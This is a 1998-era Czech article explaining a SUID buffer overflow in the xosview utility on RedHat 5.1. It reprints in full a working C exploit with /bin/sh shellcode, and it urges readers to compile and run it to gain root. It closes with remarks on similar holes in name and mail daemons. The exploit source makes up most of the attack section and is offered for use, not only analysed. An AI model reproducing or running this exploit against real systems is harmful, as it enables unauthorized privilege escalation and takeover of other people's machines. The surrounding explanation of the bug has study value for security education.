Security hole v xosview
                           -=-=-=-=-=-=-=-=-=-=-=-=-

          A master  programmer  passed a novice  programmer  one  day. The
      master  noted the novice's  preoccupation with a hand-held  computer
      game. "Excuse me," he said, "may I examine it?"

          The  novice  bolted to attention and  handed  the  device to the
      master. "I see that the device  claims to have three levels of play:
      Easy,  Medium and Hard," said the master. "Yet every such device has
      another  level of play,  where the device  seeks not to conquer  the
      human, nor to be conquered by the human."

          "Pray,  great  master,"  implored the novice, "how does one find
      these mysterious settings?"

          The master dropped the device to the ground and crushed it under
      foot. And suddenly the novice was enlightened.

                  -- Geoffrey James, "The Tao of Programming"

          Abych  názorně  demonstroval, jak jsou průniky  snadné,  rozhodl
      jsem se uvédst  praktický  příklad. Pokud doma vlastníte  distribuci
      Linuxu  RedHat  5.1  bez  dalších  úprav  (samozřejmě, že v adresáři
      updates na ftp.redhat.com se nachází již opravená  verze), můžete si
      zkusit systém prorazit.

          Je to snadné. Ve verzi 5.1 díky  trestuhodné  nedbalosti  autorů
      distribuce  přibyl  nový SUID program.  SUID  znamená, že program si
      může propůjčit práva svého vlastníka (v tomto případě  roota-sysopa)
      i když byl spuštěn normálním  uživatelem - je tedy velmi nebezpečný.
      SUID  programy se používají pro činnosti,  které  normální  programy
      dělat  nemohou, ale  přesto by je uživatelé  dělat  měli - například
      nastavovaní  hesla.  Náš  program  je ale  úplně  zbytečná  utilitka
      moniturující  zatížení  počítače.  Ze  záhadných  důvodů  mu  autoři
      nastavili  SUID. To vůbec  není  třeba,  protože v Linuxu i normální
      proces může zjistit  zatížení.  Tomuto  programu jako první  věnoval
      pozornost hacker Chris. Udělal  jednoduchou věc - prohledal  zdroják
      na strcpy  (nejčastější  to původce  podobných  chyb) a výsledek  se
      dostavil v souboru Xrm.cc se nachácí:

       char userrfilename[1024];
       ...
       strcpy(userrfilename, getenv("HOME"));

          a to je  zcela  zjevný a primitivní  buffer  owerflow.  Okamžitě
      o svém objevu napsal na www.rootshell.com a další místa, aby správci
      sítí  věděli, co  zalátat.  Časem se dostavil i exploid  (program co
      nasype ty správná  data, aby se spustil  shell). Vám tedy  stačí jej
      zkompilovat a spustit. Za chvíli máte rootovská práva. Tady je:

Date:         Fri, 29 May 1998 18:14:22 +0100
From:         Kossak <ldvg@CAMOES.RNL.IST.UTL.PT>
Subject:      Re: Tiresome security hole in "xosview" (xosexp.c)

/* xosview 1.5.1 buffer overrun exploit
 * brought to you by Kossak (ldvg@rnl.ist.utl.pt)
 *
 *  yep, this is a shameless rip from Aleph's tutorials, but it sure
 *  works... Lets keep those exploits coming!! :)
 *  Thanks to Chris Evans for posting the bug.
 */

/* NOTE!!! xosview needs an open X display for this to work, so remember
 * to modify the source (line 62), with your ip.
 * The offset and buffer size work with me fine, but you might need to
 * change them.
 */

#include <stdlib.h>

#define DEFAULT_OFFSET                 1150
#define DEFAULT_BUFFER_SIZE            3500
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;

  printf("xosview exploit by Kossak\n");
  printf("try changing the default values if you dont get root now.\n");
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  setenv("HOME", buff, 1);
  system("/usr/bin/X11/xosview -display 0:0"); /* your IP here */
 }


          Samozřejmě,   že  zrovna   tento   příklad  je  poměrně   hloupý
      a málokterý  správce si nainstaluje tak podivný SUID program na svůj
      server  (já  jsem  ho tam  ale  měl:).  Existují  ale  podobné  díry
      i v jiných programech. Minulý týden se jeden šeredný cracker vloupal
      do našeho  Táborského  serveru  pomocí  name daemona, což je program
      běžící na nameserveru  každé  domény, a to  většinou  bývá  důležitý
      počítač. Až do nedávné verze v něm byl úplně stejný buffer  overflow
      jako v tomto příkladu.

          Velmi  časté jsou také chyby v daemonu na rozesílání  pošty. Ten
      je poměrně  komplikovaný a z čistě historichých  důvodů musí mít pod
      UNIXem  rootovská  práva. Je tedy pravým rájem  crackerů. Jiný zářný
      příklad špatného příkladu je Web server či X Window systém.


            výheň